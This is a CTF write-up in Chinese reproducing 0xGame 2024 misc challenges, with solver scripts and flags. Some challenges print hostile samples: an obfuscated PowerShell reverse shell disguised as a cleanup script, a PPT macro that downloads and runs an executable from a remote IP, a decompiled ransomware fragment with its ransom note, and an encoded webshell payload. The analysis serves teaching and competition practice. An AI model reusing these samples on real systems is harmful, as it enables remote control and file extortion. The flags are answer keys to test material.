0xgame2024复现


misc

0xGame2048

base2048解密

最后flag为

1
0xGame{W3lc0me_t0_0xG4me!!!}

一明一暗

明文攻击,bandzip快速压缩

盲水印攻击

最后flag为

1
0xGame{Now_st4rt_uR_j0urn3y!!}

加密的压缩包?

010查看末尾有密码

将加密位改为09以后保存

输入密码0xGame2024即可解压

最后flag为

1
0xGame{M@ybe_y0u_ar2_t4e_mAsTer_0f_Z1p}

呜呜呜~我再也不敢乱点了

下载附件

打开流量包可以看到是TLS1.3协议的流量,将日志文件导入进行TLS解密

导出http对象,保存wuyu.zip

解压压缩包

introduction.txt

1
2
《物语系列》是由日本轻小说作家西尾维新创作、中国台湾插画家VOFAN(本名戴源亨)负责插画的轻小说系列,分为First Season、Second Season、Final Season、Off Season和Monster Season五季。
作品以21世纪初的日本直江津镇为舞台,描述一名高中少年阿良良木历与少女们遇到许多日本民间传说的怪谭故事。本作品跟一般怪谭故事不同,不以击退妖怪或寻找事发原因之类的解谜作为主线。作品主要透过对话,为男主角和少女们之间的内心作深刻描写。西尾维新以其特有的“话痨”风格,将大量的对话和心理描写穿插到主线事件中,同时还加入了许多后设以及对社会和其他作品的讽刺。故事之中既有恋爱喜剧,又有热血的动作描写,可见作者把想要的东西都写进作品中去。所以,作者将“物语系列”自评本作为他的自信作,亦称之为“以很难媒体化为目的而写的小说”。

ntroduction.txt_目录下的clean_file_rubbish.ps1文件中可以发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# 输出欢迎信息
#Write-Host "欢迎使用文件清理工具!"
#Start-Sleep -Seconds 2

# 列出一些文件夹和文件
#Write-Host "正在查找需要清理的文件..."
#Get-ChildItem "C:\Temp\*" -File | ForEach-Object {
# Write-Host "发现文件: $_.Name"
# Start-Sleep -Milliseconds (Get-Random -Minimum 100 -Maximum 1000)
#}

# 清理过程
#Write-Host "开始清理文件..."
#Start-Sleep -Seconds 2
#Write-Host "清理完成!"

# 输出结束信息
#Write-Host "文件清理完成。感谢使用!"









































# just some unordered and garbled characters
$Cx99zNP0yc8btz1DgdjQ4d6Or1WXvNo8ujcqwFC3kgHFE9zERLRSUflsWbCwFagZeNLAt8td0BUZr85MNnhsIJtjt4781b120rrHzFZmMsUAPcAS4tHCiJx9Vst4SWWeSBn8IkFD6e4O6bMfzboKxPZiplfSpAXYD1iHJbuWsDciLYdqfa9TcbYHOWxeR91cFzmnKRYSFU573fAKQqZMCsiaLB2ZMGMlIbshBlb94PHljepzqNuqEo2uRQ0Pg4hLsKE7D4cXoCXuDAUwHPVQm3Jz6KQcfUWAlvGzhQKyzLBXGta8LH6Ua0yL8nFCPU4O3uIh58sIpSPEdxO4HkYZfKSF9ta6hrN2o8YWfbRMIdMHNNgywFv3YVlCzwKWP3suJq7yHHl0O0MW7dtk2t05bteVH0k4O0HOfKLQ4wDPrnwu5Q1d7L6JLvNEC9dAtXx56ACbzCHQMt8ZIaxZeLxWMnB7Q34pe0bmoO1hPZtiRENA4Scp1Gsm = "JExIT1NUID0gIjE5Mi4xNjguOTMuMTMyIjsgJExQT1JUID0gMjMzMzsgJFRDUENsaWVudCA9IE5ldy1PYmplY3QgTmV0LlNvY2tldHMuVENQQ2xpZW50KCRMSE9TVCwgJExQT1JUKTsgJE5ldHdvcmtTdHJlYW0gPSAkVENQQ2xpZW50LkdldFN0cmVhbSgpOyAkU3RyZWFtUmVhZGVyID0gTmV3LU9iamVjdCBJTy5TdHJlYW1SZWFkZXIoJE5ldHdvcmtTdHJlYW0pOyAkU3RyZWFtV3JpdGVyID0gTmV3LU9iamVjdCBJTy5TdHJlYW1Xcml0ZXIoJE5ldHdvcmtTdHJlYW0pOyAkU3RyZWFtV3JpdGVyLkF1dG9GbHVzaCA9ICR0cnVlOyAkQnVmZmVyID0gTmV3LU9iamVjdCBTeXN0ZW0uQnl0ZVtdIDEwMjQ7IHdoaWxlICgkVENQQ2xpZW50LkNvbm5lY3RlZCkgeyB3aGlsZSAoJE5ldHdvcmtTdHJlYW0uRGF0YUF2YWlsYWJsZSkgeyAkUmF3RGF0YSA9ICROZXR3b3JrU3RyZWFtLlJlYWQoJEJ1ZmZlciwgMCwgJEJ1ZmZlci5MZW5ndGgpOyAkQ29kZSA9IChbdGV4dC5lbmNvZGluZ106OlVURjgpLkdldFN0cmluZygkQnVmZmVyLCAwLCAkUmF3RGF0YSAtMSkgfTsgaWYgKCRUQ1BDbGllbnQuQ29ubmVjdGVkIC1hbmQgJENvZGUuTGVuZ3RoIC1ndCAxKSB7ICRPdXRwdXQgPSB0cnkgeyBJbnZva2UtRXhwcmVzc2lvbiAoJENvZGUpIDI+JjEgfSBjYXRjaCB7ICRfIH07ICRTdHJlYW1Xcml0ZXIuV3JpdGUoIiRPdXRwdXRgbiIpOyAkQ29kZSA9ICRudWxsIH0gfTsgJFRDUENsaWVudC5DbG9zZSgpOyAkTmV0d29ya1N0cmVhbS5DbG9zZSgpOyAkU3RyZWFtUmVhZGVyLkNsb3NlKCk7ICRTdHJlYW1Xcml0ZXIuQ2xvc2UoKQ=="

# Don't think too much
$SsuhfRO1wgyokMOlaEmBBcAzcInXG54WdHo9eVpNI9Xhb0kluCXXz5hxYS7pzUgJOfnpV8ZkPMhHNCtTMkSg1Sj32zonCoq4qXXfBsmASttQtGic0mBErHBYS6ROmJohHmnHTYa2ijVwYv8vfzgFLW6rPkY1LpsEVrbfCqc6QFCdo3mzQIkyU1pbPKuH2IDPbkYshWZYoiLxtYBdsGa6ZtvZ8WpbYhmHEcXG4RGhhoLPTnTITmSZJ7rm24GYws75qN4ZOH4Wf9IBSHuRLtOmGVi23anihNphBV8IkTmT6vhChsJwC6HY1zTN4lbA4wmdtEjhSyEF3pY2XLm8RTzIZAkoAiKvzD7V1rLdMa5nUo0c2eDe9wpnJ1qWhOy1GuVYMFI09bVegrdWHlQ4np4GWDAlc8FJhzM6gzRHwbklJmLtPcwm1MFf0vlh9lLqLpMdS586AnnBMuJezW6Tpmta4O5HaDxLsb3S8l3wTxCjoad1BdqAoZa1 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Cx99zNP0yc8btz1DgdjQ4d6Or1WXvNo8ujcqwFC3kgHFE9zERLRSUflsWbCwFagZeNLAt8td0BUZr85MNnhsIJtjt4781b120rrHzFZmMsUAPcAS4tHCiJx9Vst4SWWeSBn8IkFD6e4O6bMfzboKxPZiplfSpAXYD1iHJbuWsDciLYdqfa9TcbYHOWxeR91cFzmnKRYSFU573fAKQqZMCsiaLB2ZMGMlIbshBlb94PHljepzqNuqEo2uRQ0Pg4hLsKE7D4cXoCXuDAUwHPVQm3Jz6KQcfUWAlvGzhQKyzLBXGta8LH6Ua0yL8nFCPU4O3uIh58sIpSPEdxO4HkYZfKSF9ta6hrN2o8YWfbRMIdMHNNgywFv3YVlCzwKWP3suJq7yHHl0O0MW7dtk2t05bteVH0k4O0HOfKLQ4wDPrnwu5Q1d7L6JLvNEC9dAtXx56ACbzCHQMt8ZIaxZeLxWMnB7Q34pe0bmoO1hPZtiRENA4Scp1Gsm))

# If you don’t believe it, you can try it
Invoke-Expression $SsuhfRO1wgyokMOlaEmBBcAzcInXG54WdHo9eVpNI9Xhb0kluCXXz5hxYS7pzUgJOfnpV8ZkPMhHNCtTMkSg1Sj32zonCoq4qXXfBsmASttQtGic0mBErHBYS6ROmJohHmnHTYa2ijVwYv8vfzgFLW6rPkY1LpsEVrbfCqc6QFCdo3mzQIkyU1pbPKuH2IDPbkYshWZYoiLxtYBdsGa6ZtvZ8WpbYhmHEcXG4RGhhoLPTnTITmSZJ7rm24GYws75qN4ZOH4Wf9IBSHuRLtOmGVi23anihNphBV8IkTmT6vhChsJwC6HY1zTN4lbA4wmdtEjhSyEF3pY2XLm8RTzIZAkoAiKvzD7V1rLdMa5nUo0c2eDe9wpnJ1qWhOy1GuVYMFI09bVegrdWHlQ4np4GWDAlc8FJhzM6gzRHwbklJmLtPcwm1MFf0vlh9lLqLpMdS586AnnBMuJezW6Tpmta4O5HaDxLsb3S8l3wTxCjoad1BdqAoZa1

base64解码

md5加密

最后flag为

1
0xGame{63e1de9c00fd0dccda8a2d76475ac44a}

我叫曼波

开启靶机

encode.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#encode:
import random
import base64

flag = "0xGame{This_is_a_fake_flag}"

def real_real_real_random():
random_num = random.randint(1,1000)
return str(random_num)

def RC4(plain,K):
S = [0] * 256
T = [0] * 256
for i in range(0,256):
S[i] = i
T[i] = K[i % len(K)]

j = 0
for i in range(0,256):
j = (j + S[i] + ord(T[i])) % 256
S[i], S[j] = S[j], S[i]

i = 0
j = 0

cipher = []
for s in plain:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
t = (S[i] + S[j]) % 256
k = S[t]
cipher.append(chr(ord(s) ^ k))

return (base64.b64encode("".join(cipher).encode())).decode()

def base3(s):
base3_s = ""
for i in s:
dec_value = ord(i)
base3_c = ""
while dec_value > 0:
base3_c += str(dec_value % 3)
dec_value = dec_value // 3
base3_c = base3_c[::-1].rjust(5,"0")
base3_s += base3_c
return (base3_s)

def manbo_encode(base3_s):
manbo_dict = {"0":"曼波","1":"哦耶","2":"哇嗷"}
manbo_text = ""
for i in base3_s:
manbo_text += manbo_dict[i]
return manbo_text

def encode(i):
flag_part = flag[i*2:i*2+2]
a = real_real_real_random()
b = RC4(flag_part,a)
c = base3(b)
d = manbo_encode(c)
return a,d # key:a ciphertext:d

先生成随机数用作RC4的KEY,再传入flag_part进行RC4加密,之后进行三进制编
码,最后自定义了一个曼波编码

decode.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#decode:
import base64
from pwn import *
p = remote("gz.imxbt.cn",20929)
def manbo_decode(cipher):
manbo_dict = {"曼波":"0","哦耶":"1","哇嗷":"2"}
manbo_text = ""
for i in range(0,len(cipher),2):
manbo_text += manbo_dict[cipher[i:i+2]]
return manbo_text

def base3_decode(s):
base3_plain = ""
base3_cipher=[]
for i in range(0,len(s),5):
base3_cipher.append(s[i:i+5])
for i in range(len(base3_cipher)):
cipher=base3_cipher[i]
plain=0
for i in range(len(cipher)):
plain += int(cipher[i])*3**(4-i)
base3_plain += chr(plain)
return base3_plain
def RC4_decrypt(cipher, K):
# 对密文进行 Base64 解码
cipher = base64.b64decode(cipher).decode()

# 初始化 S 和 T
S = [0] * 256
T = [0] * 256
for i in range(256):
S[i] = i
T[i] = K[i % len(K)]

# 使用密钥 K 打乱 S 数组
j = 0
for i in range(256):
j = (j + S[i] + ord(T[i])) % 256
S[i], S[j] = S[j], S[i]

# 生成密钥流并解密密文
i = 0
j = 0
plain = []
for c in cipher:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
t = (S[i] + S[j]) % 256
k = S[t]
plain.append(chr(ord(c) ^ k))

return "".join(plain)
ques=p.recvuntil(b'>')
flag=""
while(1):
try:
p.sendline(b'1')
ques=p.recvuntil(b'>')
p.sendline(b'2')
ques=p.recvuntil(b'>')
key=re.search(r'(\d.*?)P',bytes.decode(ques).replace(' ','').replace('\n','')).group(1)
p.sendline(b'3')
ques=p.recvuntil(b'>')
cipher=re.search(r'(.*?)P',bytes.decode(ques).replace(' ','').replace('\n','')).group(1)
a=manbo_decode(cipher)
b=base3_decode(a)
c=RC4_decrypt(b,key)
flag += c
print(flag)
except:
exit(0)

运行得到

md5加密

最后flag为

1
0xGame{217e3100dbb6362f1129b5dd51f92045}

报告哈基米

zsteg一把梭,发现多余数据和lsb隐写

看到参数

1
a,b=7,35(a,b=35,7),shuffle_times=1

猫脸变换

010发现倒置pk

保存为1.zip,进行reverse

保存并解压压缩包

继续reverse

tupper画图

最后flag为

1
0xGame{hajimi_i5_Cute_r1ght?}

给我干哪来了,这还是国内吗??

下载附件

google map上找到原图

查看实景

地点是

1
瑞士-圣皮埃尔堡-昂特勒蒙区-瓦莱州

最后flag为

1
0xGame{Switzerland_Valais_Entremont_Bourg-Saint-Pierre}

神秘电波

下载gnuradio后打开即可看到流程图

去gnuradio的官方文档bpsk解调

点击顶上的run,先generate,再execute。这个小窗口刚出来差不多就可以关掉了,得到flag.txt

用脚本将00转换成0,01转换成1

exp:

1
2
3
4
5
6
7
8
9
with open('flag.txt','rb') as f:
data=f.read()
res=''
with open('out.txt','w') as f:
for i in data:
if i==0x01:
f.write('1')
elif i==0x00:
f.write('0')

转换出的二进制丢进cyberchef即可看见flag

最后flag为

1
0xGame{38df7992-6c53-11ef-b522-c8348e2c93c6}

重生之我在南邮当CTF大王

打开游戏文件夹下的data文件夹

flag1:

base解密

flag2:

flag3:

flag4:

兽语解密

最后flag为

1
0xGame{NJUPT_Has_VerY_v3Ry_V3ry_YummY_FooD}

Happy 1024!

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
import sys
river=[star]*114514
def judge():
if sys.getsizeof(boat[dream]) > sys.getsizeof(river):
return True
else:
return False
def drunk():
for i in water:
if(i == sky and judge()):
return "Not drunk."
return "Drunk.
print(drunk())

代码里有酒,梦,星,河,百度搜索

最后flag为

1
0xGame{醉后不知天在水,满船清梦压星河。}

Crazy Thursday v me 50 btc

下载下来的附件中有一个pptm文件,搜索一下可以知道这是一个启用了宏的ppt,查看一下宏代码

VB代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Sub OnSlideShowPageChange()

If ActivePresentation.SlideShowWindow.View.CurrentShowPosition = 2 Then

Dim psScript As String
Dim url As String
Dim filePath As String
Dim shell As Object
Dim command As String
desktopPath = Environ("USERPROFILE") & "\Desktop\"
filePath = desktopPath & "summer.exe"
url = "http://47.239.17.55/summer.exe"
psScript = "Invoke-WebRequest -Uri '" & url & "' -OutFile '" & filePath & "'; Start-Process '" & filePath & "'"
Set shell = CreateObject("WScript.Shell")
command = "powershell -Command " & psScript
shell.Run command, 0, True
Set shell = Nothing
End If

End Sub

访问一下http://47.239.17.55/summer.exe,下载得到summer.exe

注意:是复现环境,访问下载不行

复现本地有附件

pyinstxtractor打包

pyc反编译

py代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# Source Generated with Decompyle++
# File: E:/reverse/3. Reverse/2. Python������/pyinstxtractor-2024.04/summer.exe_extracted/summer.pyc (Python 3.8)

import os
import fnmatch
from Crypto.Cipher import DES3
from Crypto.Util.Padding import pad
from Crypto.Util.number import *
from secret import k3y, readme
import base64

def f(dir, ext = ('.', [
'.txt',
'.zip',
'.7z',
'.rar',
'.gz',
'.png',
'.jpg',
'.bmp',
'.gif',
'.mp3',
'.wav',
'.avi',
'.doc',
'.docx',
'.xls',
'.xlsx',
'.pdf',
'.ppt',
'.pptx',
'.mp4',
'.mov',
'.flv',
'.mkv',
'.swf',
'.dll',
'.sys',
'.iso',
'.vmdk',
'.vhd',
'.vhdx',
'.ova'])):
ff = []
for ro, di, fi in os.walk(dir):
for ex in ext:
for na in fnmatch.filter(fi, '*' + ex):
fp = os.path.join(ro, na)
ff.append(fp)
return ff


def encrypt1(key, plaintext):
padded_plaintext = pad(plaintext, DES3.block_size)
ciphertext = cipher.encrypt(padded_plaintext)
return ciphertext


def encrypt2(m):
p = getPrime(256)
q = getPrime(256)
n = p * q
e = 65537
m1 = bytes_to_long(m)
c = pow(m1, e, n)
return (n, c)


def release(txt, m):
pass
# WARNING: Decompyle incomplete

# WARNING: Decompyle incomplete

Unsupported opcode: BEGIN_FINALLY
Unsupported opcode: BEGIN_FINALLY

文件还给了一个,Oops!.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Hello, w8nn9z! 
Your file has been encrypted!
I have to inform you that due to my special encryption algorithm, all important files on your computer have been encrypted! This means that without a special key provided by me, you will not be able to access these files.
To recover your files, you must follow the following steps:

1. Pay the equivalent of $50 in Bitcoin to the designated Bitcoin address before the next Crazy Thursday. :)
2. After payment is completed, please send the transaction ID and the string at the end of this file via email to st4rr@example.com .
3. After receiving your payment confirmation, I will provide you with the key and the instruction on how to use it.
If payment is not received within 72 hours, the price of the decryption instruction will double. In addition, if you attempt to recover data on your own or do not follow instructions, your files may be permanently deleted. :(
Warning: Do not attempt to unlock files or use third-party tools on your own, as this may result in irreversible data loss. Similarly, any cooperation with law enforcement agencies will result in the destruction of keys, making it impossible to recover files. :(



NTExNjYyMjMyMDc3MDI1MjcxMzk4MzA0OTUyNTUzODUyOTQ0MjM5OTgwNjM5OTExNDYwMTE1NjA0MjQ3OTE2MjU1NjUwMTc0MzAyNTU0NjMwMTk4MjEzMTAxMzk3MDQzMDk0OTYxMjc1OTQ5ODkwOTUwODg5NDM1NDM2ODg2Nzk1OTQwNzYzODY0MjI3MjUzNTQ0MDc2NzUxMTkzMzUwOTE0NjMzOTUyOTEzNTQ0MTQwMzMyNDE4NjYyMjczNzEyNTQ3OTA4OTgxNTY1MzUxNDEzNjU3NTUzMzYxNDcxNjQzOTIwMzc4ODQwOTk2NDI4NDgyMTI3MDEwNTAzMDI2MDY3NTg3MzkyMDAwMDMwNDY1Mzc3MjAzNDQzNTk3MDI3MTE4OTA3MTE2OTE1MTAyODkwOTcwNDYzNzI=

base解密

这串数字的格式是 n的二进制长度+n+c的二进制长度+c

1
2
3
4
5
6
511
6622320770252713983049525538529442399806399114601156042479162556501743025546301
982131013970430949612759498909508894354368867959407638642272535440767511933
509
1463395291354414033241866227371254790898156535141365755336147164392037884099642
848212701050302606758739200003046537720344359702711890711691510289097046372

分解n

1
2
p=64816076191920076931967680257669007967886202806676552562757735711115285212307
q=102170960652478489355215071707263191814765888101601364955857801471459364198319

解密附件中的autumn.wav.encrypted

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import gmpy2
from Crypto.Util.number import *
from Crypto.Cipher import DES3
from Crypto.Util.Padding import unpad
p=64816076191920076931967680257669007967886202806676552562757735711115285212307
q=102170960652478489355215071707263191814765888101601364955857801471459364198319
n=6622320770252713983049525538529442399806399114601156042479162556501743025546301982131013970430949612759498909508894354368867959407638642272535440767511933
c=1463395291354414033241866227371254790898156535141365755336147164392037884099642848212701050302606758739200003046537720344359702711890711691510289097046372
phi=(p-1)*(q-1)
d=gmpy2.invert(65537,phi)
key=long_to_bytes(pow(c,d,n))
with open('D:\\tmp\\autumn.wav.encrypted','rb') as f:
ciphertext=f.read().strip()
cipher = DES3.new(key, DES3.MODE_ECB)
padded_plaintext = cipher.decrypt(ciphertext)
plaintext = unpad(padded_plaintext, DES3.block_size)
with open('D:\\tmp\\autumn.wav','wb') as f:
f.write(plaintext)

运行得到音频文件,010查看文件

deepsound解密

snow隐写,密码是0xRansomeware

最后flag为

1
0xGame{d3ba2505-36b1-4191-8212-062b943c58ec}

Encrypted file

附件给了一个 secret.php 和一个 Behinder.pcapng,冰蝎流量

追踪http流,在134流上发现上传了php文件用来开后门

解密脚本

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64

def decrypt(data):
key = "e45e329feb5d925b"

# Base64 解码
decoded_data = base64.b64decode(data)

# XOR 解密
decrypted = bytearray()
for i in range(len(decoded_data)):
decrypted.append(decoded_data[i] ^ ord(key[(i + 1) & 15]))

return decrypted.decode()

# 示例加密数据(Base64 编码的)
encrypted_data = "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"

# 解密
decrypted_code = decrypt(encrypted_data)
print("解密后的代码:")
print(decrypted_code)

运行得到

base解密

AES解密

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def decrypt_aes_cbc(input_file, output_file, key, iv):

# 创建 AES 解密器
cipher = AES.new(key, AES.MODE_CBC, iv)

# 读取加密文件
with open(input_file, 'rb') as f:
encrypted_data = f.read()

# 解密数据并去除填充
decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)

# 将解密后的数据写入输出文件
with open(output_file, 'wb') as f:
f.write(decrypted_data)

# 使用的参数
input_file = 'D:\\tmp\\Encrypted file\\secret.php' # 输入加密文件
output_file = 'D:\\tmp\\Encrypted file\\decrypted_hello.php' # 输出解密文件
key = b'\xc4\xd0\x38\xb4\xbe\xd0\x9f\xdb\x00\x00\x00\x00\x00\x00\x00\x00' # 密钥(16 字节,128 位)
iv = b'114514\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # 初始向量(16 字节,128 位)

decrypt_aes_cbc(input_file, output_file, key, iv)

